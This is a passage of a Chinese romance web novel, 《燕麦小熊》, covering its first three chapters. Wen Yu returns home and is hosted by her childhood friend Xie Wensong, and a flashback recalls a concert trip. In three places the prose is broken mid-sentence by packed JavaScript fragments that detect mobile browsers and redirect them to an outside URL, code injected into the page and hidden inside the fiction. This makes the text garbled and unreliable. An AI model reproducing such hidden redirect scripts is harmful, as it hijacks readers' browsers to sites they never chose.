《燕麦小熊》 1. 鱼鱼 《燕麦小熊》 2024.09.01//晋江文学城首发 文/听喃 - 1/ 飞机下降时,微不可察的俯冲感让温遇张了张眼,眼前一片黑暗让她大脑宕机两秒。 左耳耳机里是还未播放完的鼓噪音乐,听久刺激耳朵疼,温遇伸手扯掉。正要去扯另一边,发现耳机已经掉下来折进衣领里,她抬手将眼罩扯下,目光移向舷窗。 高饱和的浅蓝色,像大自然投入世界最纯净的一滴水。 白色机翼恍若在天空清浅划开一道口子,飞机经过不到十一个小时的飞行,最终将要在南川国际机场平稳降落。 手机涌入信号,温遇随手将音乐点了暂停,将耳机收起,稍微收拾下东西准备下飞机。 等待取行李的间隙,温遇看到手机右上角信号拉到满格,正要点开微信,上面弹出来消息。 除去app的系统提示,剩下全部来自微信—— 温遇从最下面的信息开始回。 最早是四个小时前发来的。 妈:温温啊,家里今天有点事忙,估计没法去机场接你了,不过得知你回来,小颂说他有时间可以去,我就把你的航班号发给他了,到时候你们联系。 看到第三个逗号以前的内容,温遇下意识退出微信,点开日历—— 十五号。 每月这天对于他们家来说是什么特殊的日子,不言而喻。 她没什么情绪,挺平静将页面调回微信,却在看到“小颂”两个字时心底扬起短暂错愕。 指尖停顿在屏幕前。 谢闻颂。 这个名字从屏幕上原封不动挪到心里,温遇微微深吸一口气,回复收到。 正要退出微信,顶端弹出新消息。 Song_:下飞机了? Song_:我到了,定位发你。 准时准秒,仿佛这人有预知能力似的。 温遇没想到他信息回复得这么快,说了句好,然后从传送带上拿到行李箱,按照谢闻颂发来的定位走出大厅。 七月的南川早已入夏,阳光晒到身上迅速升温。温遇的遮阳伞还塞在行李箱的夹层里,她懒得拿,只好伸出手挡在额前。 她走到阴凉处才拿出手机,显示已经到定位附近,她往四周看看,瞥见不远处站在车外的人,眼神顿了下。 温遇的视线落向手机屏幕,然后上移挪回刚才注视的位置,顺手把墨镜推到额上,心底缓缓升起疑惑。 那是,谢闻颂? 大片绿荫撒下的阴影里,他微垂着头靠在驾驶室车窗外面,身后的车是低调的黑,不过温遇看清车标的时候,顿觉这黑也高级几分。 柯尼塞格Agera R。 配置顶尖,业内称其是速度和力量的象征。 倒是他会喜欢的款。 温遇不太意外。 定位周围也就这一个人,外面温度实在太高,温遇没再磨蹭,拉着行李箱就往他的方向走。 似乎是余光瞥到她,谢闻颂戴着渔夫帽的脑袋抬起,随手将手机插入工装裤口袋。 裤兜外面露出一小截挂坠,几颗塑料水晶,看上去倒像是买什么随手附带的赠品,温遇看见觉得眼熟,没深想。 天气这么热,谢闻颂像是一点也感觉不到,面庞冷白,视线像徘徊在零度线上将化不化的冰块,还透着股从小养到大的,和陌生人与生俱来的隔阂感。 和他对视,莫名有种消暑作用。 老远就看见某只被太阳晒得发蔫的小兔子走来,谢闻颂正要上前一步将温遇的行李箱接过,就见她面朝自己吐出句—— “谢闻颂,你是不是背着我去国外整容了?” “?” 去接把手的动作僵在那,谢闻颂指尖绕了个圈秒速收回手,盯着她:“你说什么?” 这句反问肯定不是没听清。 因为温遇很敏锐捕捉到谢闻颂语气里的危险。 意识到这话冒出得有点太快,温遇抿了下嘴,视线绕过心虚重新定格在对面人的脸上。 渔夫帽的软边帽檐上洒落细小碎光,站在她眼前的人撩起眼皮正看着她,这么热的天,他脸上一滴汗都没有。 见温遇不说话,谢闻颂瞥了眼她的行李箱,放在身侧的手仍然没有要伸出的意思,慢悠悠又问了一遍:“你刚才说什么?” 有种你不好好回答今天就在这耗着的架势。 “没说什么。”温遇双手把行李箱竖起的扶手往他那边推了推,堆起个甜度满分的笑容,“我们走吧。” 一般她这样笑,谢闻颂都不会怎么计较。 今天自然也是一样,温遇大喇喇地拍过老虎屁股仍旧表现坦然,行李箱被谢闻颂放在车里,她则扯开副驾驶的车门坐进去。 门刚开一个小口的时候,里面的冷气就扑了她满脸。 胀热的脸颊一下子回归正常温度。 刚系好安全带,温遇撅起嘴吹了吹额前刘海的功夫,从旁边伸过来一只手。 手指修长如伞骨,骨廓亭匀,指甲修剪到只有一条小白边,整齐又干净。 手里是一杯泡着冰块的柠檬茶,塑料杯壁飘着细细密密的水珠,绿色的纸壳杯套环在上面,她看到熟悉的logo,是自己最常喝的那家。 温遇先说了句谢谢,自然接过,手指捏着吸管抿了一口,沁凉打到筋脉里,身心愉悦在这一刻到达极致,像手机信号拉到满格。 车驶入马路,温遇从斜挎包里翻出手机。刚才因为谢闻颂发来的消息,她还有几条先前别人发来的没来得及回。 十条未读有八条来自闺蜜程以桉,给她发了一个地址,说要给她接风,还有几条是问她下没下飞机。 一条条回复完,温遇偏头看了眼谢闻颂:“那个,可不可以送我去‘春茶’?” 春茶是一家私人会所,温遇特别喜欢他们家的一间汤池,每年和朋友聚会也基本都会去那放松。 相比其他本地出了名的销金场所,这里的价格还算合适,环境布置也是温遇喜欢的绿色调。 “不回家?” 温遇摇头,“每个月今天是什么日子你也不是不知道,我这个时候回去干嘛,明天再说吧。” 这话听着平静,谢闻颂却明白她这么说的原因,于是没再说话,默默改了行驶路线。 给程以桉回复消息过去,那边实时在线,两个人一来二去聊起来。 空调的冷风隔着裙面吹到她膝盖上,温遇调整了坐姿。 等红灯的间隙,她不经意偏头,从车窗玻璃的倒影里看到谢闻颂的侧脸。 想起刚才自己看到他时候没过脑吐出的那句话,她开始噼里啪啦给程以桉发消息。 小鱼丸了:你实话和我说,谢闻颂是不是出国整容了? 程以桉:? 程以桉:你这是说的什么话。 小鱼丸了:那为什么一个多月没怎么见,他好像比原来帅了一个度? 小鱼丸了:我刚才在机场外碰见他,帅得简直和渣男没区别好吗? 程以桉这次没秒回,隔了三十秒发了一条语音。 温遇下意识把听筒对准左耳,点开语音条。 下一秒,声音却从驾驶台旁边的音响里传出来,无比清晰在车内回荡。 那边应该是在唱k,背景音嘈杂,程以桉又扯着嗓子,想让人听不清都难—— “你可别开玩笑了,谢闻颂那张脸还需要出国整容吗?诶,不过他知道你形容他那张脸像渣男吗?” “而且你们互相认识二十几年,他长什么样你还不知道?” “……” 语音条还没来得及关,程以桉的话便已经让谢闻颂够听几个回合的。 温遇僵硬偏头,艰难扯起一个笑:“我的手机什么时候连在你车里了?” 说完这句,她顺便观察了下主驾驶位那人的表情,直到发现没有明显异常,才稍微松口气。 “你忘了上次你连我车上蓝牙放歌来着?”谢闻颂倾身,伸手点在显示屏上,将车载蓝牙断开,顺手调出自己的歌单。 这次轮到温遇不说话了,因为她想起来自己在谢闻颂车里放歌的事。 那是她大学结业典礼拿到毕业证的当天,和几个熟悉的朋友喝了点,最后是坐在谢闻颂车里回去的。 不过她嫌他车里放着的rap太吵,说什么也要连自己的手机,然后放自己爱听的流行音乐,碰上悲伤情歌也能嚎上两句,谢闻颂从头到尾没阻止,一直在迁就她。 不过她喝酒之后有点断片,不太记得被他送回家之后的事。 只知道醒来以后,谢闻颂好像莫名其妙生她气了,平时他俩经常遇见的场合都再难看见他的身影。 温遇起初以为是他在忙,便没再管,开始计划自己的毕业旅行,一浪就是一个月。 然后再见面就是现在。 现在她回想谢闻颂那段时间的不太对劲,仍旧不太明白他到底别扭在哪里。 想到这,思绪被手机的消息震动打断。 温遇低头,正是程以桉的消息:怎么不说话了?谢闻颂不就坐在你旁边,你这么好奇,不如亲口问问呗。 差点忘记还有这茬,温遇想起刚才的乌龙自惭形秽,于是愤愤戳着屏幕。 小鱼丸了:不用问了。 小鱼丸了:他全都听见了。 程以桉:? 小鱼丸了:劝你在我赶到之前找好两条地缝。 小鱼丸了:到时候方便咱俩一起钻进去。 程以桉:??? 和她有什么关系! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472365|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- 谢闻颂和温遇赶到春茶的时候,程以桉和几个朋友已经从ktv包间里出来,转战隔壁的吧台,推开门的时候,里面传来几声笑音。 谢闻颂走在温遇前面,前臂抵在门上,眼神示意后面的温遇先进。 以前总被这人在细小的地方照顾着,温遇从没觉得有什么不对劲,可是自从一个多月前发生的那事开始,她逐渐开始重新看待自己和谢闻颂的关系。 那天她在国外等旅游团租的车时,刷手机看到乔姨的朋友圈,说谢闻颂最近在相亲。 乔姨是谢闻颂的妈妈。 她当时瞟了一眼不甚在意,此刻看着面前比她高一个头的人,突然想起这事。 心口的位置像被人撒了把玻璃珠,细细密密砸下来,有点闷重。 道了句谢,温遇刚走进包厢,就被程以桉拉到最远端的沙发区。 等两人坐下,她看到谢闻颂顺势坐在离门最近的吧台边,帽子没摘,他懒散垂头,半个胳膊肘搭在水晶吧台上,又把裤兜里的手机翻出来,底端坠着挂坠。 这么看还是觉得眼熟。 思绪分叉,温遇感觉胳膊被人拽了一下,对上程以桉要吃人的目光:“你刚才微信里说的是什么意思?” 温遇生无可恋:“我手机蓝牙连在谢闻颂车上了。” 一句话,程以桉迅速反应过来,“丫的,温遇你坑我!” 对面打马虎眼:“万一他听不出来是你呢?” “我不管,我要是因为这句话哪天被谢闻颂赶出南川,你必须得八抬大轿把我接回来。” 程以桉不买账,从旁边的玻璃桌将刚才点好的特调咸柠七递给温遇。 “放心吧,他估计没那功夫。”温遇刚喝过柠檬茶,这会儿低头抿着汽水,气泡在嘴里炸开,有种说不出的酸,刚喝一口就放在一边,“他最近忙着相亲呢。” 感受到身边人震惊的目光,温遇倒显得平静:“所以安心了?” 程以桉快速用目光瞟了一眼不远处吧台边的人,凑近温遇耳边,压低声音。 “乔姨着啥急啊,我要有谢闻颂那事业运,孤独终老一辈子都行。” “他这刚过生日,也才二十三。” 话说到这,温遇发现自己上个月浪是浪了,完全没想起来谢闻颂的生日。 完蛋了。 礼物没准备,日子也忘了个精光。 从机场出来到现在,心虚的情绪到达顶峰,她指尖抵在玻璃杯边缘,用力到发白。 温遇有点心不在焉,程以桉戳了她好几次胳膊才反应过来。 “怎么了?” 程以桉岔开话题,用吸管拨弄杯子里的冰块,状似不经意提起:“话说陆星桓好像是后天的飞机诶。” 提起这个名字,温遇的注意力从刚才那件事上分离,下意识接了句:“是吗?” “你也知道了?”程以桉不太满意她这个反应似的,拍拍她肩膀,“当初你不是说要追人家吗?结果他连个招呼都不打就飞去国外。” “这一待就待了三四年,现在也终于是要回来,我哥说,他打算长久待在南川了。” 看好姐妹的心情似乎不太好,程以桉安慰道:“没事,回来了以后见面的机会就多了,别伤感了。” 温遇垂眼,视线落在半身裙细密的针脚上,“我又没和他说过,也没什么可失落的。” 程以桉知道她心里有数,便也没再多言,两个人窝在沙发里刷手机,准备泡个温泉再回家。 简单收拾东西,温遇正要走出包间,路过谢闻颂的时候顿了下。 想起自己的行李箱还在他车上。 见温遇要和谢闻颂说话,身边的人自动散开。 温遇挨着他坐在吧台边,斟酌措辞:“谢闻颂,你有女朋友吗?” “?” 某人抬起头,疑惑的目光迎上她有点突然的问题。 她换种说法:“那你现在是一个人住吗?” “?” 怎么画风越来越诡异了。 谢闻颂只觉得奇怪,她怎么突然对自己的事这么关心,目不转睛盯着她,只不过没有要开口的意思。 见他一句话也不说,温遇叹了口气,“要是你没有女朋友,目前也是一个人住的话,我能不能今晚去你家住一天。” 过几天她就要开始工作,只不过目前还没找好房子,资金有限,温遇寻思今晚登看房软件找找看。 相比于温遇坦然表明目的,谢闻颂闻言却只是托腮闷声笑了下,他微低头时看不清神情,只能瞥见上扬的唇角。 下颌侧面一颗浅色小痣晃眼,他伸手拨弄玻璃杯支出来的一截薄荷,抬眼看她。 语气里呷了分揶揄。 “不是说我是渣男么?” “你还敢在渣男家里留宿?” 2. 鱼鱼 2/ 在谢闻颂提起这句以前,温遇以为他忘了刚才车上发生的事。 现在他这么问,温遇只觉得先前搬起的这块石头,精准无误在几个小时后砸中自己的脚。 达摩克利斯剑都不带这么悬的。 被对方无懈可击噎了一句,温遇决定曲线救国。 准备使用回忆杀之前,她先扯出抹笑表示诚意:“毕竟我们认识这么多年,我肯定还是相信你的。” “噢,我们原来认识这么多年了啊——”谢闻颂装起一副恍然大悟模样,说完这句,他朝温遇伸出手,语气听不出喜怒,“那我的生日礼物呢?” 哐当—— 石头的体积扩大数倍,直接从她头上压下来,这下直接全身粉碎性骨折。 谢闻颂见她被问住说不出话的模样,仿佛已经知道答案,也觉得这话问起来挺没意思的。 他没情绪地弯下唇,将宽瘦掌心收回,含糊着抛给她一句。 “没有也没事,毕竟我们认识这么多年,我总不会计较的吧。” “……” 温遇刚要说口的话又被堵回去。 这人,明明是想要的。 还非得用她的话来堵她。 估计谢闻颂百年之后全身都软了,但肯定只有嘴还硬着。 早知道就用他的嘴压孙悟空了。 还用什么五指山。 但。 谁让她错在先。 见谢闻颂又去扒拉酒液上的薄荷叶子,视线都没兴趣分给她了,温遇赶紧伸手扯住他的衣袖。 “你想要什么生日礼物?只要我能办到,一定争取满足你。” 想起自己交完房租就要缩水皱巴的钱包,温遇的心碎成一片一片,咬牙说出这句话。 这下应该,足够有诚意了吧。 没想到对面的人仍旧没有什么反应。 “主动张口要有什么意思。”谢闻颂慢悠悠看了眼她扯住自己的短袖袖口,没任何抗拒的动作,就着她拉的动作凑近了点,“那就先欠着吧。” “……” - 温遇和程以桉按照事先说好的去泡温泉,她不太清楚谢闻颂什么安排,不过两个人约好下午五点半在春茶的室外停车场汇合。 然后一起回谢闻颂的私宅。 这人挺大方,自己忘记给他准备生日礼物,还同意收留自己一晚。 温遇表示这可能是多年青梅竹马的情谊强撑。 头发吹得半干,她已经换了身衣服,和程以桉分别之后便步行前往停车场。 夏季的这个点天还未完全下黑,微微发暗的浅蓝色透着股白天未消去的清透劲儿,丝丝缕缕的雾紫霞光飘然其上,天边悬着点绯红,色彩边缘模糊一片,倒是绮景。 春茶的私密性极强,温遇不是登记的车主,只好在外面等着谢闻颂把车开出来。 傍晚风有点大,将她的裙摆吹得往一侧倾斜,温遇单手压着裙面,另一只手捉住飘到鼻尖的碎发,往后揽。 等了会没见谢闻颂出来,温遇稍微往旁边走了走,把手机掏出来,和家里解释下今天住在外面的事情,轮胎的碾压声从旁边挪近。 那人降下副驾的车窗,隔着风声喊了句—— “温鱼鱼。” 声音冷沉,混在风里被削弱几分。 “……” 温遇愣了两秒发现对方是在喊她。 刚把车门拉上,温遇随手拨弄后视镜下挂着的平安符,咕哝了句怎么还留着,然后瞥向刚才喊她小名的人。 “你怎么突然这么喊我。” “我怎么喊你了?”某人掌心抹着方向盘,霓虹灯光透进眼里,明知故问。 “就……喊我温鱼鱼。” 这个称呼,已经很久听到了。 她光反应就花了好几秒。 温遇垂眼,落在平安符边缘支出来线头。 从小到大只有谢闻颂这么喊她,身边其他人基本都叫她温温或者小温,和“鱼”这个音有关的称呼,只有他会叫。 谢闻颂仿佛听到了什么有趣的事,淡淡笑了声:“以前不也是这么喊的吗?” “不记得我生日,难道这个也不记得了?” 见他又将旧账重翻,温遇选择将头偏向另一侧,压下那抹从心尖上溜走的心虚。 车已经开出春茶驶入大路,汇进车流,星星点点的车灯摇曳在傍晚氤氲的深蓝中,有种缤纷错落的霓虹感。 让人生出些倦怠的情绪。 温遇感觉眼皮在打架。 “行了。”谢闻颂单手撑着方向盘,将车泊在路边。 另一只手将温遇扭过去的头摆正,顺手拢了下她的头发,淡淡的香味飘了一手,“安全带系好。” 余光瞥见旁边一直安静如鸡的某人因为这句话有了动作,谢闻颂收回的手搁在方向盘上,指腹不经意间捻了下。 好像在纪念芝麻大点的开心。 - 谢闻颂的私宅坐落于南川出名的小区“环岛”,里面的独栋别墅据说在刚放楼盘时就被社会高层人士垄断,温遇之前没来过这,这次跟来的时候也没忍住咂舌。 将车停在门口的车位,谢闻颂解安全带的功夫,温遇已经下车,默默来到驾驶位的窗户旁,双手扶着窗沿,眼神很亮:“谢闻颂,核桃在家吗。” 核桃是谢闻颂养的一只金毛。 “嗯。”他本来正低头打开卡扣,闻声抬头,迎上女孩凑过来的脸,下意识绷紧呼吸。 夏天傍晚连风都是暖的,顺着女孩的发丝飘荡的方向涌向他的面部感官,带着她的洗发水味。 脑海一直连着的线绷断了一根,谢闻颂思绪游移,她的洗发水应该是白茶栀子味吧。 视线挪到她的脸上,略微停顿。 温遇是标准的甜妹长相,眼神清澈灵动,双颧带着点肉感,像还未褪去的婴儿肥,下巴圆润细腻,她偏爱笑,笑起来甜净柔和,没有丁点攻击力。 谢闻颂以前见她对谁都笑眯眯的样子还在心中纳闷过,这么软妹,以后被欺负了怎么办? 然后看向自己打篮球时手腕上套着的护腕,没忍住笑了下。 那就他来保护吧。 如果她愿意一直这样笑,也没什么不可以。 只是后来才知道,或许她并不需要。 压下这股上涌的情绪,谢闻颂松开手里的安全带,而温遇也从他的车窗旁离开,盯着他家门口的发财树若有所思。 他绕到车后方,从车里挪出温遇的行李箱,车轮在地面上滚动,温遇回头接过,欲言又止。 “谢闻颂,你家门口这棵发财树,能不能送给我啊。” “?” 他抱着手臂,挑起一边眉毛。 上次说想要他家的核桃,这次说想要他家门口的发财树。 这人怎么这么贪心。 温遇见他没说同意也没说不同意的模样,努力让自己的理由听上去可信:“你看我这么穷,之后交了房租就什么也不剩了,把你发财树给我,让我接接你的财运吧。” 女孩朝他眨眨眼:“以后我要是也有钱了,肯定请你吃好吃的。” 然后目光环视他的房子,有种跃跃欲试。 谢闻颂:“……” 原来是这么个理由。 他还以为是他家发财树长得比他清秀。 “行啊。”谢闻颂往前走两步,手指握在行李箱拉杆上,步步走到门前,打开指纹锁。 手指撑住门板不让其闭合,他瞥向还在和发财树较劲的某人弯下唇角,朝门内喊:“核桃——” 感觉身后的小姑娘目光蹭一下转移方向,下一秒,温遇直接从他身边经过,刚好和小腿噔噔噔跑来的核桃迎上。 怕踩脏地面,温遇直接在门口脱掉鞋,然后扑到核桃旁边的位置,伸手撸了把它的狗头:“核桃,想没想姐姐?” 核桃用鼻尖去够她的脸,但又怕自己太重把女孩扑倒,任由她将自己抱着,碰完脸又用毛茸茸的脑袋蹭她的脖子。 谢闻颂见一人一狗玩得欢快,刚才那股上涌的情绪消化得差不多,行李箱放好,他从鞋柜里拎出双粉色拖鞋,自己还没换,先迈步来到跪坐在地面上的女孩旁边。 他没急着走,低头给核桃使了个眼神,小狗得令,吐着舌头从温遇的怀里出来,跳向后面的沙发。 圈着小狗的手臂空下来,女孩抬头,谢闻颂刚好半蹲,把手里的粉色拖鞋放在她脚边,对上她茫然的眼,若有似无笑了下。 “公主,先把鞋穿上。” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这就是阶级差异。 然后温遇想起自己刚才那个胆大妄为的想法,下意识就要拒绝。 “不……” “那边的房子已经装修好,拎包就能入住。”谢闻颂放下瓷杯,手臂环胸微微侧过身,左侧肩膀抵在沙发上,漫不经心打断她,“你要是不喜欢里面的家具,也可以换新的。” “那个……”温遇还是想拒绝。 “据我所知,蓝湾到你工作的地方,步行二十分钟就能到,坐公交十分钟。” “……”好心动的条件。 温遇心头仿佛跳过一只小兔子,足尖轻巧点在上面。 “那——”房租怎么算。 这才是温遇最关心的问题。 谢闻颂像是知道她要问什么似的,指腹摸了下鼻梁:“你可以不用付。” 温遇愣在原地,心里却鼓噪一片。 感觉好像被大奖稳稳砸中。 原来这段所剩不多的青梅竹马情谊还能让他做到这个地步。 聊到这,温遇突然像泄了气一样,摇了摇头。 不知道又怎么想起他在相亲的事。 “我还是自己找吧。” 她垂头接着去翻手机,却没见谢闻颂唇角弧度逐渐抿直。 “温鱼鱼,你知道为什么我在那买了两套吗?” 因为你壕无人性。 温遇无声吐槽。 “因为——”他姿势没变,眼神仍旧停留在她身上,“我当时有段时间一直在学音乐,但是房间隔音并不算好,隔壁邻居有来投诉过,那个时候我就想,要是住在不会打扰其他人的地方就好了。” 温遇抛给他一个疑惑的眼神,似乎在问他为什么要说起这件事。 “你要是不愿意白住,一个月给我一千八租金也行。” 见她还是不说话,谢闻颂微微俯身,手掌贴在核桃的头上。 心里却在叹气。 小狗比她温顺多了,至少从来不会明着拒绝他。 它还趴在温遇大腿上吐着舌头,黑溜溜的眼珠转来转去。 一副没烦恼样。 谢闻颂借着这个动作可以看到她的脸,笑着来了句:“怎么,敢住我隔壁么。” 温遇抬眼,看着他摸核桃时没什么情绪的侧脸。 她对情绪感知敏锐,一下子捕捉到谢闻颂表面平静下掩藏的是几乎摸不到的落寞。 也知道他这次不会再被投诉了。 因为他已经放弃音乐这条路。 3. 鱼鱼 3/ 谢闻颂喜欢过音乐这件事,温遇是知道的。 初三升高一那个暑假空前的长,温遇难得抢到了两张喜欢歌手演唱会的票,不过是在南川的临省余杭。 原先家里因为安全问题是不想单独放她一个人去看演唱会的,温遇软磨硬泡了大半个月,说如果他们不放心可以陪同,并且保证在即将到来的中考之中取得满意成绩,父母才勉强说可以考虑。 七月初,中考成绩公布,是可以上重高的分数,温遇得知的第一时间不是庆祝,而是拿着显示成绩的平板,急着兑现当时父母许下的含糊承诺。 哪知再提起这件事,还是被父母严词拒绝。 温遇以为父母还是在乎安全问题,便说可以让妈妈和爸爸和她一起去,毕竟买了两张票。 结果温父温母说自己没时间和她一起去,让她赶紧把票给退掉,甚至不承认当时“考虑考虑”的说辞,直接说不允许。 温遇没想到事情会发展成这样。 她固执己见,家里甚至都没给她办升学宴。 可是这些温遇都可以不要的。 后来再次被拒绝,她一个人蹲在家里的院子里哭,而此时,屋子里的弟弟不知道因为什么原因也在哭闹,哭声比她暗自流泪大很多。 两道声音重合在一起,可是只能听见一个人的。 家里所有人都在哄他。 温遇好像不在他们待的那个世界里。 夏天蚊虫很毒,没一会儿她浑身都被蚊子咬满了包,又痒又疼的感觉混着眼泪一起刷满存在感,十几岁的小姑娘受了委屈根本憋不住眼泪,蹲在那,一颗颗泪珠砸在膝盖上。 无助又脆弱。 隔壁的谢闻颂拿着刚切好的半个西瓜来到门口,从花雕铁门外看到温遇蹲在那哭,登时愣住。 门没完全关上,谢闻颂推开就走进来,温遇见是他,胡乱地抹了眼泪,红着眼圈问:“你怎么来了?” 谢闻颂看着她没说话。 平时就像只兔子上蹿下跳的,怎么哭红了眼更像兔子了。 谢闻颂没见过几次她哭鼻子的模样,忍下手足无措的情绪,端着糊了层保鲜膜的西瓜捧到她面前。 “鱼鱼,吃西瓜吗?包甜。” 少年稚气未散,但浑身已经有些许与同龄人不同的气质,遇到束手无措的事也第一时间是找方法面对。 正如此刻,他捧着西瓜,甚至眼里的光都那样鲜活明亮,夏天小院寂静,天色渐暗,唯有群星闪烁。 可这都不及他眼里的神采。 温遇睫毛上还挂着泪珠,接过西瓜时小声说句谢谢,然后问他:“可不可以去你们家坐一会儿。” 谢闻颂果断拉着她的手回了自己家。 于是温遇将自己流眼泪的原因告诉谢闻颂,后者一边听,一边把西瓜上的保鲜膜撕下来,示意她吃。 等温遇吃完,擦干净手上的西瓜汁,谢闻颂这才说:“怎么买两张票,你有约了?” 温遇没想到他是问这个,摇摇头:“就买一个人的票我怕他们更不同意,结果还没找到可以一起去的人,这两张票就‘夭折’了。” 说到这,她更难过了,连嘴角都耷拉下来,明显吃到西瓜也没开心多少。 谢闻颂瞥见女孩低头的模样,倏尔弯了下唇。 他第一次知道“夭折”还能这么用。 温鱼鱼是怎么在初中稳坐三年语文课代表的。 语文上的造诣是不是都还给老赵了? 没等到少年的回答,温遇整个人彻底瘪下来,以往就数这人鬼主意多,现在他都没办法,那就更没有希望了。 心里的酸涩劲儿还没过,眼看着自己又要掉眼泪,温遇正要一鼓作气掏出手机狠下心把票退掉,旁边的人已经站起来,一只手轻轻搭在她的头上。 小兔子抬头,对上双看向她时一贯含笑的眼。 “走吧。” 她茫然:“去哪。” “回你家,事情不是还没解决么。” 温遇沉默,看了眼一直停留在自己头上的手。 谢闻颂没觉得有什么不对,看见她眼神往上抬的时候,指尖拢聚着顺便搓了下她柔顺的发丝,做出一个揉头发的动作。 仿佛就在等她把注意力放在自己身上时,他才动手。 “放心吧。” “有我在,你的票不会‘夭折’的。” …… 谢闻颂似乎对每一件事都特别有把握。 温遇那个时候觉得,他真的是一个很厉害的人。 当天谢闻颂领着温遇回去,说是他和温遇中考前商量好一起去临省参加演唱会,这才买了两张票。 他们两个为这场演唱会铆足劲在中考前奋发复习,互相勉励,最后才能双双取得好成绩。 话说到最后,谢闻颂又和温父温母提起安全问题,说如果他们方便可以陪同,如果不方便的话,他家里也有人可以和他们一起去。 话是这样说,不过他也知道,温遇父母平时忙,估计不会亲自陪他们去余杭。 但温遇自己去,他们肯定也不能同意。 谢闻颂在身边人眼里一向是沉稳内敛的形象,说谎这种事简直不可能发生在他身上。 见他这么说,温遇的父母眼里流露出几分愧疚和窘迫,欲言又止看了眼配合站在谢闻颂旁边垂眼不言的女孩,便也犹豫着松了口。 没想到看似走到死路的结局因为谢闻颂的一番话峰回路转,后来好一段时间,温遇看他的眼神都掺着光—— 剥离开竹马的固有印象。 那是一种对偶像的崇拜。 演唱会顺利看完,温遇过了戒断期疯玩一个暑假,临到开学前发现作业还没补完,悲伤不过两秒,她突然想到隔壁还有一个自己的“偶像”。 自动铅笔架在耳朵上要掉不掉,温遇索性直接拿下戳进笔筒里。 “偶像”应该早就写完暑假作业了吧。 这对于他来说难道不是小case吗? 七月中旬出来的录取结果,她和谢闻颂都被附中录取,只是分班表还没出,学校仅仅下发了暑假作业。 去取暑假作业的那天过后,温遇基本没和谢闻颂碰过面。 即使两家互为邻居。 打定主意后,温遇单手捏着作业本,蹑手蹑脚走出房门,寻思空手去不太好,路过厨房看见一块刚切好的西瓜,眼珠微转,顺手给拐走。 来到隔壁的门前,刚巧碰上谢闻颂的妈妈乔若琳,乔姨一向很喜欢她,见她来找谢闻颂玩,笑着摸了下她的脸:“小颂在一楼琴房。” 温遇最近还在纳闷谢闻颂家里何时多出了个琴房,一边乖巧点点头,一边小心翼翼捧着西瓜,不让西瓜汁溅到作业本上。 挪到琴房门口,才发现门板没有完全闭合,留下一条缝。 她原本想先站在门口往里看,视线在里面逡巡一圈儿,没看见有人,只看见竖在黑胡桃木桌旁边的吉他,房间中央还有一架黑色钢琴,再旁边因为视线狭窄,看不太清…… “温鱼鱼。” 身后传来一道无比熟悉的声音。 温遇收起偷窥的动作,乖乖转身,刚好对上少年靠过来的轮廓。 他领口几点晕开水渍,仿佛阳光晒过的皂香漫过来,让温遇准备好的说辞一下子卡在喉咙口。 谢闻颂没有继续问什么,手臂直接在她身后跨过推开门,空调凉爽的风混着薄荷味香薰拂开她汗湿的刘海。 谢闻颂从旁边拽出来一张椅子,示意她坐,自己随手抹了下洗脸后额头留下的水珠,目光落在她手里捧着的西瓜上,笑着问:“给我的?” 目光顺带瞥过她手里紧攥的,越看越眼熟的作业本,瞬间明白了温遇真正来的目的。 噢,还真是不做无用功。 他没拆穿,接过西瓜咬了一口,表情逐渐凝固。 温遇没注意他细微表情变化,只是见他吃了,眼睛里的狡黠不加掩饰流露出来,手臂撑在扶手上:“谢闻颂,既然吃了我的西瓜,能不能帮我一个忙?” 这么着急啊。 谢闻颂明知道她的来意,还是没忍住因为这句话呛了下。 嘴里的西瓜熟得过头,甜得发苦,还带着浓烈的蒜味。 这人怎么每次来,都能多多少少给他点惊喜…… 他没说,也没答应温遇已经提示到明面上的要求,眼皮掀起淡淡撂下句:“还有一周,够写了。” 温遇顶着劈叉刘海结巴着“啊”了一声,然后反应过来,不可思议:“你也没写?” 少年已经低下头去擦手上淌落的西瓜汁,发出单音节“嗯”,抬头望她:“所以我们得一起写。” 这话不假,自从他和温遇从余杭回来,他就一直在捣鼓家里之前摆放在角落的乐器,和父母商量收拾了个琴房出来。 演唱会上,谢闻颂看到温遇兴奋得一直在挥舞荧光棒,坐在她旁边,他都快被扇感冒。 温遇属于对自己喜欢的事能做到百分百元气的人。 谢闻颂的情绪价值飞速拉满,被她感染的同时,一向平静的心里也有了点自己的想法。 一枚看上去灰扑扑的种子埋在心里长出一截短苗。 初中的音乐课学过点基础乐理知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472367|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识,加上他领悟能力和记性都还不错,买了几本参考书,自学入门摸到了点门道。 这些他没和温遇细说,只是说他对音乐有点感兴趣而已。 送走女孩,谢闻颂默默把自己随便写的demo又看了遍,然后同一沓白纸一起收到抽屉里,从书包里翻出暑假作业。 毕竟从今天开始,他就要和温遇一起补作业了。 而一边的温遇没想到自己“偶像”竟然连作业都没写完,决定暂时将谢闻颂踢出她的偶像行列。 心情郁闷着回到家,看见妈妈徐翩禾站在厨房里正找什么,四目相对,她率先问:“温温啊,你有看见菜板上的西瓜吗?” 